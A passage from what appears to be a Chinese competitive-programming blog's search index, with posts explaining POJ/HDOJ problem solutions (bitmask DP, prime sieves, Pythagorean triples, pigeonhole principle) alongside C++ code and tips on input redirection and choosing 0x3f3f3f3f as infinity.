flag = false; 43 int t = 0; 44 while (t\u003cN\u0026\u0026!flag){ 45 if (num==n) { 46 cout\u003c\u003ct\u003c\u003cendl; 47 flag = true; 48 break; 49 } 50 cnt = t+x; 51 q = 0; 52 while (t\u003ccnt){ 53 q++; 54 t++; 55 if (q%w==0){ 56// cout\u003c\u003c\"aaat:\"\u003c\u003ct\u003c\u003cendl; 57 num++; 58 } 59 if (num == n){ 60 cout\u003c\u003ct\u003c\u003cendl; 61 flag = true; 62 break; 63 } 64 } 65 on = false; 66 t = t + y; 67 on = true; 68 num++; 69 if (num==n){ 70 cout\u003c\u003ct\u003c\u003cendl; 71 flag = true; 72 } 73 } 74 } 75 #ifndef ONLINE_JUDGE 76 fclose(stdin); 77 #endif 78 return 0; 79}","tags":["模拟"],"title":"bc #52 div 2 A ||hdoj5417 Victor and Machine (模拟)","type":"post"},{"categories":["ACM"],"content":"比赛的时候一看,tsp么 前些天好像刚写过一个clean robot什么的 然后发现n才16,而m很大.. 应该有很多重复的. 那么我们取油费最少的. 然后先做一遍 floyd 之后我写了一个dfs…TLE 了…sad 正解是状压dp 虽然没写过状压dp 但是之前写过一道状态压缩的bfs 所以理解起来没有问题. 这道题的做法是: 用dp[i][j]表示当前访问国家的状态为s,要访问的国家为j的时候的最小费用.i是二进制,i的第p位为1表示第p个国家已经访问过了,否则表示没有访问过. 那么状态转移方程则为:dp[i|(1\u003c 初始化的时候d[i][i] =0,其他为inf dp[0][0] 表示要访问第一个国家且没有访问国人国家的时候的状态,此时花费为0 然后先枚举访问国家的状态,再枚举访问的国家. 1/************************************************************************* 2 \u003e File Name: code/bc/#52/rrr1002.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月22日 星期六 22时33分20秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#include\u003ccctype\u003e 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define lr dying111qqz 26using namespace std; 27#define For(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef double DB; 30const int inf = 0x3f3f3f3f; 31const int N=17; 32int d[N][N]; 33int n,m; 34int dp[(1\u003c\u003c16)+5][N]; 35 36void floyd(){ 37 For(k,n){ 38 For(i,n){ 39 For (j,n){ 40 d[i][j] = min ( d[i][j] , d[i][k]+d[k][j]); 41 } 42 } 43 } 44 45} 46 47void solve() 48{ 49 dp[0][0] = 0; 50 for ( int i = 0 ; i \u003c(1\u003c\u003cn) ; i ++){ 51 for ( int j = 0 ; j \u003c n ;j++){ 52 if (dp[i][j]!=inf){ 53 for (int k = 0 ; k \u003c n ; k++){ 54 int tmp = i|(1\u003c\u003ck); 55 dp[tmp][k] = min(dp[tmp][k],dp[i][j] + d[j][k]); 56 } 57 } 58 } 59 } 60} 61int main() 62{ 63 #ifndef ONLINE_JUDGE 64 freopen(\"in.txt\",\"r\",stdin); 65 #endif 66 int T; 67 cin\u003e\u003eT; 68 while (T--){ 69 scanf(\"%d %d\",\u0026n,\u0026m); 70 ms(d,inf); 71 ms(dp,inf); 7","date":"2015-08-22","externalUrl":null,"permalink":"/2015/08/hdoj5418/","section":"Posts","summary":"比赛的时候一看,tsp么 前些天好像刚写过一个clean robot什么的","tags":["tsp","状压dp"],"title":"bc #52 div 2 B || hdoj 5418 Victor and World(tsp问题,状压dp)","type":"post"},{"categories":["ACM"],"content":"1int main() 2 { 3 int a,b; 4 #ifndef ONLINE_JUDGE 5 freopen(\"in.txt\",\"r\",stdin); 6 #endif 7 // int a,b; 8 while (scanf(\"%d%d\",\u0026a,\u0026b)!=EOF){ 9 cout\u003c\u003ca+b\u003c\u003cendl; 10 } 11 #ifndef ONLINE_JUDGE 12 fclose(stdin); 13 #endif 14 return 0; 15 } 这样写比较爽 交OJ什么都不用改 ，妈妈再也不用担心我累死在输入样例＆调试上了。。。","date":"2015-08-22","externalUrl":null,"permalink":"/2015/08/acmoj/","section":"Posts","summary":"1int main() 2 { 3 int a,b; 4 #ifndef ONLINE_JUDGE 5 freopen(\"in.txt\",\"r\",stdin); 6 #endif 7 // int a,b; 8 while (scanf(\"%d%d\",\u0026a,\u0026b)!=EOF){ 9 cout\u003c\u003ca+b\u003c\u003cendl; 10 } 11 #ifndef ONLINE_JUDGE 12 fclose(stdin); 13 #endif 14 return 0; 15 } 这样写比较爽","tags":["算法竞赛"],"title":"acm输出输出技巧（提交oj不需要改变）","type":"post"},{"categories":["ACM"],"content":"关于ACM的输入输出（一） 写给第一次参加现场赛的同学们 一般来说ACM的现场赛会规定输入输出 或者是文件输入标准输出 也可能是文件输入文件输出 如果没有规定的话那么一般就是标准的输入输出了 那说一下输入输出的重定向 一般用下面两种方法 c++常用: #include ifstream filein(“data.in”); // 定义一个文件输入流 ofstream fileout(“data.out”); //cout« –\u003e fileout« filein.eof() //文件到末尾,返回非零值 data.in表示输入的数据文件 本地测试的话本来输入的数据就要在这个文件里面测试了 建一个本地的文本data.in,可以用记事本的方式打开 注意:文件输入的话,以后的cin»都要改成filein», cout«都要改成fileout« c语言常用: freopen(“date.in”,“r”,stdin); //重定向所有标准的输入为文件输入 freopen(“date.out”,“w”,stdout);//重定向所有标准的输出为文件输出 fclose(stdout);//输出结束 freopen(“date.in”,“r”,stdin); //重定向所有标准的输入为文件输入 freopen(“date.out”,“w”,stdout);//重定向所有标准的输出为文件输出 fclose(stdout);//输出结束 第一句的意思就是文件输入,以\"读状态\",去替换标准的输入 以上如果只是规定用文件输入输出 的某一种,那么就只用其中的一种 关于ACM的输入输出（二） ACM题目特点: 由于ACM竞赛题目的输入数据和输出数据一般有多组（不定），并且格式多种多样，所以，如何处理题目的输入输出是对大家的一项最基本的要求。这也是困扰初学者的一大问题。 ACM的输入输出要求严格按照规定来，所以你不需要输出像\"Please input the data\"这类的提示语。否则将会被判Wrong Answer。 1、输入 初学者一般有个误区：如果题目包含多组测试数据，他们就会把输入的内容全部保存起来，然后再依次处理。 其实程序的输入/输出是相互独立的，因此，每当处理完一组测试数据，就应当按题目要求进行相应的输出操作。而不必将所有结果储存起来一起输出。 下面来介绍一下ACM中常见的一些输入情况。 只有一组测试数据 这类题目是最简单的，比如第1000题。参考代码： #include int main(void) { int a, b; scanf(\"%d %d\", \u0026a;, \u0026b;); printf(\"%d/n\", a + b); return 0; } _没有明确指出输入什么时候结束 如果是这种情况，我们默认是以\"文件结束\"(EOF)为结束标志。 这是ACM的默规，例如1076题。参考代码： _ #include int main(void) { int a, b; while (scanf(\"%d %d\", \u0026a;, \u0026b;) != EOF) printf(\"%d/n\", a + b); return 0; } _指定数据量 有时会在数据的第一行提供数据量大小，比如第一行是100，则表示有100组数据。比如第1077题。参考代码： _ #include int main(void) { int n, a, b; scanf(\"%d\", \u0026n;); while (n–) { scanf(\"%d %d\", \u0026a;, \u0026b;); printf(\"%d/n\", a + b); } return 0; } 以特定元素作结束符 这种输入和第一种类似。常见的是规定以0作为结束符。 比如第1078题。参考代码： #include int main(void) { int a, b; while (scanf(\"%d %d\", \u0026a;, \u0026b;), a || b) printf(\"%d/n\", a + b); return 0; } 输出 输出格式统一 这种比较简单，只要按要求来就没问题的。 比如每组输出占一行，或者每组输出后面加一个空行。比如1000题。 数据之间有空行 对于这种输出，有时候还会告诉你有几组输入，这样你就可以自己判断一下是不是最后一组。是就不输出空行，否则多","date":"2015-08-22","externalUrl":null,"permalink":"/2015/08/acm/","section":"Posts","summary":"关于ACM的输入输出（一） 写给第一次参加现场赛的同学们 一般来说ACM的现场赛会规定输入输出","tags":["算法竞赛"],"title":"关于ACM的输入输出（一）","type":"post"},{"categories":["ACM"],"content":"水题 写一遍的目的是。。。复习一下快速筛的写法　喵呜 1/************************************************************************* 2 \u003e File Name: code/poj/2909.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月22日 星期六 14时25分34秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x3f3f3f3f; 31const int N=1\u003c\u003c16; 32bool not_prime[N]; 33int prime[N]; 34int prime_num; 35int n; 36 37void init(){ 38 not_prime[0] = true; 39 not_prime[1] = true; 40 for ( int i =2 ; i \u003c N ; i++){ 41 if (!not_prime[i]){ 42 prime[++prime_num] = i; 43 } 44 for ( int j = 1 ; j \u003c= prime_num\u0026\u0026i*prime[j]\u003cN ; j++){ 45 not_prime[i*prime[j]] = true; 46 if (i%prime[j]==0) break; 47 } 48 } 49} 50int main() 51{ 52 init(); 53 int n ; 54 while (scanf(\"%d\",\u0026n)\u0026\u0026n){ 55 int ans = 0 ; 56 for ( int i = 2 ; i \u003c= n /2 ; i++){ 57 if (!not_prime[i]\u0026\u0026!not_prime[n-i]){ 58 ans++; 59 } 60 } 61 printf(\"%d\\n\",ans); 62 } 63 64 return 0; 65}","date":"2015-08-22","externalUrl":null,"permalink":"/2015/08/poj2909/","section":"Posts","summary":"水题 写一遍的目的是。。。复习一下快速筛的写法　喵呜 1/************************************************************************* 2 \u003e File Name: code/poj/2909.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月22日 星期六 14时25分34秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x3f3f3f3f; 31const int N=1\u003c\u003c16; 32bool not_prime[N]; 33int prime[N]; 34int prime_num; 35int n; 36 37void init(){ 38 not_prime[0] = true; 39 not_prime[1] = true; 40 for ( int i =2 ; i \u003c N ; i++){ 41 if (!not_prime[i]){ 42 prime[++prime_num] = i; 43 } 44 for ( int j = 1 ; j \u003c= prime_num\u0026\u0026i*prime[j]\u003cN ; j++){ 45 not_prime[i*prime[j]] = true; 46 if (i%prime[j]==0) break; 47 } 48 } 49} 50int main() 51{ 52 init(); 53 int n ; 54 while (scanf(\"%d\",\u0026n)\u0026\u0026n){ 55 int ans = 0 ; 56 for ( int i = 2 ; i \u003c= n /2 ; i++){ 57 if (!not_prime[i]\u0026\u0026!not_prime[n-i]){ 58 ans++; 59 } 60 } 61 printf(\"%d\\n\",ans); 62 } 63 64 return 0; 65}","tags":["number theory","快速筛"],"title":"poj 2909 Goldbach's Conjecture （哥德巴赫猜想）","type":"post"},{"categories":["ACM"],"content":"题意是说，能构造多少本元勾股数和勾股数，要求构造的数\u003c=n 所谓本元勾股数，就是三个勾股数没有公因数，两两互质。 由本元勾股数扩大k倍，就可以得到其他勾股数。 而构造本元勾股数的方法如下： ***a=st,b=(s^2-t^2)/2,c=(s^2+t^2)/2 其中s\u003et\u003e=1是任意没有公因数的奇数！ 引用一段构造正确性的证明： 本原勾股数组（PPT)是一个三元组（a，b，c),其中a，b，c无公因数，且满足a² +b² =c²。 很明显存在无穷多个勾股数组（abc同乘以n），下面研究abc没有公因数的情况，先写出一些本原勾股数组： case:(3,4,5) (5,12,13) (8,15,17) (7,24,25) (20,21,29)(9,40,41)(12,35,37)(11,60,61)(28,45,53) (33,56,65) (16,63,65) 观察可以看出a，b奇偶性不同且c总是奇数。（用一点技巧可以证明这是正确的） 3² = 5² - 4² = (5-4)(5+4) = 1 × 9 15² = 17²-8² = (17-8)(17+8) = 9 ×25 35² = 37² - 12² = (37-12)(37+12) = 25 ×49 …… 很神奇的是似乎c-b与c+b总是平方数，并且c-b与c+b木有公因数。证明一下下：假设有公因数，设d是c-b与c+b的公因数，则d也整除(c+b)+(c-b)=2c, (c+b)-(c-b) = 2b,所以d整除2c，2b，但是b，c木有公因数，又假设了（a，b，c)是本原勾股数组，从而d等于1或2，又因为d整除（c-b)(c+b)=a².a²是奇数，所以d = 1，c-b与c+b木有公因数。，又因为（c-b)(c+b)=a²,所以c-b与c+b的积是平方数，只有二者都是平方数才会出现（可以把二者分解成素数乘积直观地看出），令c+b = s²，c-b=t²，解得 c=（s²+t²)/2, b=(s²-t²)/2,a = √(c-b)(c+b) = st.这就得出了勾股数组定理： 每个本原勾股数组（a，b，c）(a为奇数，b偶数）都可由如下公式得出：a=st，b=（s²-t²）/2, c = (s²+t²)/2, 其中s\u003et\u003e=1是没有公因数的奇数。 当取t=1时就可以得到上面的许多例子。 ** ** 1/************************************************************************* 2 \u003e File Name: code/poj/1305.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月22日 星期六 13时49分30秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x3f3f3f3f; 31","date":"2015-08-22","externalUrl":null,"permalink":"/2015/08/poj1305/","section":"Posts","summary":"题意是说，能构造多少本元勾股数和勾股数，要求构造的数\u003c=n","tags":["number theory","构造"],"title":"poj 1305 (毕达哥拉斯三元组，构造勾股数)","type":"post"},{"categories":["ACM"],"content":"转载自：http://www.cnblogs.com/vongang/archive/2013/03/10/2952978.html POJ【数论/组合/博弈论】题目列表 原来的列表比较水，今天换了一个难一些的列表，重新开始做~ 博弈论 POJ 2234 Matches Game POJ 2975 Nim POJ 2505 A multiplication game POJ 1067 取石子游戏　威佐夫博弈，奇异局势（必败局）为ak = [k*(1 + sqrt(5))/2], bk = ak + k; POJ 2484 A Funny Game　这题真欢乐 POJ 2425 A Chess Game POJ 2960 S-Nim sg函数 POJ 1704 Georgia and Bob 阶梯博弈转化成Nim，当N为奇数时将p[1]与0绑定 POJ 1740 A New Stone Game POJ 2068 Nim POJ 3480 John Anti-SG问题 贾志豪的论文Chapter2 POJ 2348 Euclid’s Game POJ 3710 Christmas Game POJ 3533 Light Switching Game POJ 3537 Crosses and Crosses 数论/组合 1.burnside定理，polya计数法 这个大家可以看brudildi的《组合数学》，那本书的这一章写的很详细也很容易理解。最好能完全看懂了，理解了再去做题，不要只记个公式。 *简单题：（直接用套公式就可以了） pku2409 Let it Bead pku2154 Color pku1286 Necklace of Beads *强烈推荐：（这题很不错哦，很巧妙） pku2888 Magic Bracelet 2.置换，置换的运算 置换的概念还是比较好理解的，《组合数学》里面有讲。对于置换的幂运算大家可以参考一下潘震皓的那篇《置换群快速幂运算研究与探讨》，写的很好。 *简单题：（应该理解概念就可以了） pku3270 Cow Sorting pku1026 Cipher *置换幂运算： pku1721 CARDS pku3128 Leonardo’s Notebook *推荐：（不错的应用） pku3590 The shuffle Problem 3.素数，整数分解，欧拉函数 素数是可能数论里最永恒，最经典的问题了（我们的队名就叫PrimeMusic^-^）。素数的判断，筛法求素数，大素数的判断***还有很多其他问题都会用到素数。 *最水最水的：（心情不爽时用来解闷吧） pku1365 Prime Land pku2034 Anti-prime Sequences pku2739 Sum of Consecutive Prime Numbers pku3518 Prime Gap pku3126 Prime Path pku1595 Prime Cuts pku3641 Pseudoprime numbers pku2191 Mersenne Composite Numbers pku1730 Perfect Pth Powers pku2262 Goldbach’s Conjecture pku2909 Goldbach’s Conjecture *筛法： pku2689 Prime Distance（很好的一个应用） *反素数： zoj2562 More Divisors *素数判断，整数分解： 这两题都要用到miller_rabin的素数判断和pollard_rho的整数分解，算法书上都会有，应该是属于模板题吧，不过最好看懂自己敲一遍。 pku1811 Prime Test pku2429 GCD \u0026 LCM Inverse *欧拉函数： 数论里很多地方都能用到欧拉函数，很重要的。 pku1284 Primitive Roots （关于原根的定理：p的原根为euler(euler(p))，本题中当p为奇素数时euler(p)=p-1，故答案为euler(p-1)） pku2407 Relatives （很水） pku2773 Happy 2006 pku2478 Farey Sequence （快速求欧拉函数）","date":"2015-08-21","externalUrl":null,"permalink":"/2015/08/poj/","section":"Posts","summary":"转载自：http://www.cnblogs.com/vongang/archive/2013/03/10/2952978.html","tags":["算法竞赛"],"title":"POJ【数论/组合/博弈论】题目列表","type":"post"},{"categories":["ACM"],"content":"昨天那道签到的数学题没搞出来不开心. 是时候刷一波数学了 这题题意是说,从n个数中任选m个,使得m个的和为c的倍数. 如果有解,输出选的数的下标,否则输出无解字符串. 抽屉原理的原始描述是,如果有n+1个物品,有n个抽屉,那么至少有一个抽屉有2个物品. 由抽屉原理我们可以退出一个结论,对于任意 n个自然数,一定有连续的一段和为n的倍数. 证明如下: 设这n个自然数分别为a1,a2,a3,a4….an 处理一个前缀和sum[i] = (sum[i-1] + a[i])%n 因为n的剩余类有n种,分别为0,1,2…n-1 所以sum[1],sum[2],sum[3]..sum[n] 那么sum[1],sum[2],sum[3]…sum[n]最多也有n种. 我们分情况讨论: (1)sum[1],sum[2],sum[3]…sum[n]互不相同,那么一定存在sum[i]=0,也就是前i个数的和为n的倍数. (2)情况(1)的反面,也就是存在sum[i]==sum[j] (i\u003cj),那么 从a[i+1] 到 a[j]的和就是n的倍数. 因为题目中的数据 c\u003c=n ,所以解一定存在. 具体做法就是处理出来一个前缀和%c 然后如果有0,则为解,输出. 否则记录sum[i]%d出现的位置,存在一个数组里 如果sum[i]%d第二次出现,就输出这段下标. 嘛,大括号换风格了…. 都写开代码太长了== 1/************************************************************************* 2 \u003e File Name: code/poj/3370.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月21日 星期五 13时06分34秒 6 ************************************************************************/ 7 8#include\u003ciostream\u003e 9#include\u003ciomanip\u003e 10#include\u003ccstdio\u003e 11#include\u003calgorithm\u003e 12#include\u003ccmath\u003e 13#include\u003ccstring\u003e 14#include\u003cstring\u003e 15#include\u003cmap\u003e 16#include\u003cset\u003e 17#include\u003cqueue\u003e 18#include\u003cvector\u003e 19#include\u003cstack\u003e 20#define y0 abc111qqz 21#define y1 hust111qqz 22#define yn hez111qqz 23#define j1 cute111qqz 24#define tm crazy111qqz 25#define lr dying111qqz 26using namespace std; 27#define REP(i, n) for (int i=0;i\u003cint(n);++i) 28typedef long long LL; 29typedef unsigned long long ULL; 30const int inf = 0x3f3f3f3f; 31const int N=1E5+7; 32int a[N]; 33LL sum[N]; 34int p[N]; 35int n,c; 36int main() 37{ 38 while (~scanf(\"%d %d\",\u0026c,\u0026n)){ 39 if (c==0\u0026\u0026n==0) break; 40 sum[0] = 0; 41 for ( int i = 1 ; i \u003c= n ;i++){ 42 scanf(\"%d\",\u0026a[i]); 43 a[i] = a[i] % c; 44 sum[i] = (sum[i-1] + a[i])%c; 45 } 46 memset(p,0,sizeof(p)); 47 for ( int i = 1 ; i \u003c= n ; i++ ){ 48 if (sum[i]==0){ 49 for ( int j = 1 ; j \u003c= i ; j++){ 50","date":"2015-08-21","externalUrl":null,"permalink":"/2015/08/poj3370halloweentreats/","section":"Posts","summary":"昨天那道签到的数学题没搞出来不开心. 是时候刷一波数学了 这题题意是说,从n个数中任选m个,使得m个的和为c的倍数.","tags":["number theory","剩余系","抽屉原理"],"title":"poj 3370 Halloween treats (剩余类,抽屉原理)","type":"post"},{"categories":["ACM"],"content":"比赛的时候以为是贪心… 想了好久. 不过最后没敢写,因为没办法证明正确性,只是直觉== 最后剩下的时间给队友改另一道题了.. 果然明智… 蠢的人的直觉真心不靠谱.. 这题是dp 我们可以把车按照方向的不同分为A车和B车 dp[i][j][0..1]表示已经经过了a方向的i辆车,经过了b方向的j辆车,并且最后一辆车是a/b方向的情况的离开道路的时间. 似乎问题不大. 然后就一直wa… wa到怀疑人生好么!!! 最后发现 问题出在! dp数组初始化赋值成正无穷的时候,溢出啦! 然后我搜了下,发现0x7fffffff果然不是什么好东西! 以后正无穷用0x3f3f3f3f 这东西\u003e1E9,相加不超过int 而且最重要的是,如果定义 inf = 0x3f3f3f3f 0x3f3f3f3f的每个字节都是0x3f！所以要把一段内存全部置为无穷大，我们只需要memset(a,0x3f,sizeof(a)) 不要使用0x7fffffff! 不要使用0x7fffffff! 不要使用0x7fffffff! 1/************************************************************************* 2 \u003e File Name: code/2015summer/0821/E.cpp 3 \u003e Author: 111qqz 4 \u003e Email: rkz2013@126.com 5 \u003e Created Time: 2015年08月21日 星期五 01时28分23秒 6 ************************************************************************/ 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#define y0 abc111qqz 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define tm crazy111qqz 24#define lr dying111qqz 25using namespace std; 26#define REP(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef unsigned long long ULL; 29const int inf = 0x7fffffff; 30const int N=2E2+7; 31int dp[N][N][2]; 32int cntA,cntB; 33struct Q{ 34 int beg,t; 35 char dir; 36}q[N],a[N],b[N]; 37void init(){ 38 int n; 39 int beg,time; 40 char dir; 41 scanf(\"%d\",\u0026n); 42 cntA = 0 ; 43 cntB = 0 ; 44 for ( int i = 0 ; i \u003c n ;i++){ 45 cin\u003e\u003eq[i].dir\u003e\u003eq[i].beg\u003e\u003eq[i].t; 46 } 47 for ( int i = 0 ; i \u003c n ; i ++){ 48 if (q[i].dir=='A'){ 49 cntA++; 50 a[cntA].beg = q[i].beg; 51 a[cntA].t = q[i].t; 52 } 53 else{ 54 cntB++; 55 b[cntB].beg = q[i].beg; 56 b[cntB].t = q[i].t; 57 } 58 } 59 for ( int i = 0 ; i \u003c= cntA ; i ++){ 60 fo","date":"2015-08-20","externalUrl":null,"permalink":"/2015/08/poj3846/","section":"Posts","summary":"比赛的时候以为是贪心… 想了好久. 不过最后没敢写,因为没办法证明正确性,只是直觉==","tags":["dp"],"title":"HUST team contest #E A Mountain Road||poj 3846 (dp)","type":"post"},{"categories":["ACM"],"content":"如果问题中各数据的范围明确，那么无穷大的设定不是问题，在不明确的情况下，很多程序员都取0x7fffffff作为无穷大，因为这是32-bit int的最大值。如果这个无穷大只用于一般的比较（比如求最小值时min变量的初值），那么0x7fffffff确实是一个完美的选择，但是在更多的情况下，0x7fffffff并不是一个好的选择。 很多时候我们并不只是单纯拿无穷大来作比较，而是会运算后再做比较，例如在大部分最短路径算法中都会使用的松弛操作： if (d[u]+w[u][v]我们知道如果u,v之间没有边，那么w[u][v]=INF，如果我们的INF取0x7fffffff，那么d[u]+w[u][v]会溢出而变成负数，我们的松弛操作便出错了，更一般的说，0x7fffffff不能满足\"无穷大加一个有穷的数依然是无穷大\"，它变成了一个很小的负数。 除了要满足加上一个常数依然是无穷大之外，我们的常量还应该满足\"无穷大加无穷大依然是无穷大\"，至少两个无穷大相加不应该出现灾难性的错误，这一点上0x7fffffff依然不能满足我们。 所以我们需要一个更好的家伙来顶替0x7fffffff，最严谨的办法当然是对无穷大进行特别处理而不是找一个很大很大的常量来代替它（或者说模拟它），但是这样会让我们的编程过程变得很麻烦。在我读过的代码中，最精巧的无穷大常量取值是0x3f3f3f3f，我不知道是谁最先开始使用这个精妙的常量来做无穷大，不过我的确是从一位不认识的ACMer(ID:Staginner)的博客上学到的，他/她的很多代码中都使用了这个常量，于是我自己也尝试了一下，发现非常好用，而当我对这个常量做更深入的分析时，就发现它真的是非常精巧了。 0x3f3f3f3f的十进制是1061109567，也就是10^9级别的（和0x7fffffff一个数量级），而一般场合下的数据都是小于10^9的，所以它可以作为无穷大使用而不致出现数据大于无穷大的情形。 另一方面，由于一般的数据都不会大于10^9，所以当我们把无穷大加上一个数据时，它并不会溢出（这就满足了\"无穷大加一个有穷的数依然是无穷大\"），事实上0x3f3f3f3f+0x3f3f3f3f=2122219134，这非常大但却没有超过32-bit int的表示范围，所以0x3f3f3f3f还满足了我们\"无穷大加无穷大还是无穷大\"的需求。 最后，0x3f3f3f3f还能给我们带来一个意想不到的额外好处：如果我们想要将某个数组清零，我们通常会使用memset(a,0,sizeof(a))这样的代码来实现（方便而高效），但是当我们想将某个数组全部赋值为无穷大时（例如解决图论问题时邻接矩阵的初始化），就不能使用memset函数而得自己写循环了（写这些不重要的代码真的很痛苦），我们知道这是因为memset是按字节操作的，它能够对数组清零是因为0的每个字节都是0，现在好了，如果我们将无穷大设为0x3f3f3f3f，那么奇迹就发生了，0x3f3f3f3f的每个字节都是0x3f！所以要把一段内存全部置为无穷大，我们只需要memset(a,0x3f,sizeof(a))。 所以在通常的场合下，0x3f3f3f3f真的是一个非常棒的选择。","date":"2015-08-20","externalUrl":null,"permalink":"/2015/08/0x3f3f3f3f-/","section":"Posts","summary":"如果问题中各数据的范围明确，那么无穷大的设定不是问题，在不明确的情况下，很多程序员都取0x7fffffff作为无穷大，因为这是32-bit int的最大值。如果这个无穷大只用于一般的比较（比如求最小值时min变量的初值），那么0x7fffffff确实是一个完美的选择，但是在更多的情况下，0x7fffffff并不是一个好的选择。","tags":["算法竞赛"],"title":"0x3f3f3f3f...编程中无穷大常量的设置技巧","type":"post"},{"categories":["ACM"],"content":"算是签到帖，竟然卡住了。 我数学还是太差了。。 然后去找题解。。竟然看不懂！ 我数学真的有这么差嘛。。。 然后多亏了队友 @zcy 妹子的讲解。。 其实很好理解啊。。。 不过数到底还是数学太差了== 今天七夕，废话有点多== 这道题的题意是，找序列中连续的一段，使得和 可以整除d 我们观察到数列中的数的范围是1..1 000 000 000 的 而d只有1 000 000 我们考虑余数相同，读入的时候就可以直接先 % 掉 d 因为只会和余数有关。 我们可以先处理出来一个前缀和数组sum[i]，表示前i个元素的和。 如果有一段序列从a[i] 到 a[j] 满足题意 根据题意那么这段序列的和一定%d=0 a[i] 到 a[j]的和为 sum[j]-sum[i-1] 也就是(sum[j]-sum[i-1] )%d==0 也就是sum[j] 和 sum[i-1] 关于 d 同余 如果我们在处理得到前缀和的时候就%dshuxue 那么就是sum[j]==sum[i-1] 所以我只要对于d的每一个剩余类有多少个统计出来。 然后对于每个剩余类，只需要任意取出两个，就是一种答案。 需要注意的是如果只有一个0，也是一种答案。 我们可以定义sum[i] = 0 还有一个需要注意的是要开long long 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月29日 星期一 21时20分01秒 4File Name :code/poj/3844.cpp 5************************************************ */ 6 7#include\u003ciostream\u003e 8#include\u003ciomanip\u003e 9#include\u003ccstdio\u003e 10#include\u003calgorithm\u003e 11#include\u003ccmath\u003e 12#include\u003ccstring\u003e 13#include\u003cstring\u003e 14#include\u003cmap\u003e 15#include\u003cset\u003e 16#include\u003cqueue\u003e 17#include\u003cvector\u003e 18#include\u003cstack\u003e 19#define y0 abc111qqz 20#define y1 hust111qqz 21#define yn hez111qqz 22#define j1 cute111qqz 23#define tm crazy111qqz 24#define lr dying111qqz 25using namespace std; 26#define REP(i, n) for (int i=0;i\u003cint(n);++i) 27typedef long long LL; 28typedef unsigned long long ULL; 29const int inf = 0x7fffffff; 30const int N=1E6+7; 31int sum[50005]; 32LL p[N]; 33 34void solve () 35{ 36 int d,n; 37 int x; 38 memset(p,0,sizeof(p)); 39 sum[0] = 0; 40 p [0] = 1; 41 for ( int i = 1 ; i \u003c= n ; i++){ 42 scanf(\"%d\",\u0026x); 43 sum[i] = (sum[i-1] + x) % d; 44 p[sum[i]]++; 45 } 46 LL ans = 0 ; 47 for ( int i = 0 ; i \u003c d ; i++){ 48 if (p[i]\u003e0){ 49 ans = ans + p[i]*(p[i]-1)/2; 50 } 51 } 52 cout\u003c\u003cans\u003c\u003cendl; 53} 54int main() 55{ 56 int T; 57 cin\u003e\u003eT; 58 while (T--){ 59 solve(); 60 } 61 return 0; 62}","date":"2015-08-20","externalUrl":null,"permalink":"/2015/08/poj3844/","section":"Posts","summary":"算是签到帖，竟然卡住了。 我数学还是太差了。。 然后去找题解。。竟然看不懂！","tags":["抽屉原理","组合数学"],"title":"HUST team contest #2 C Divisible Subsequences ||poj 3844 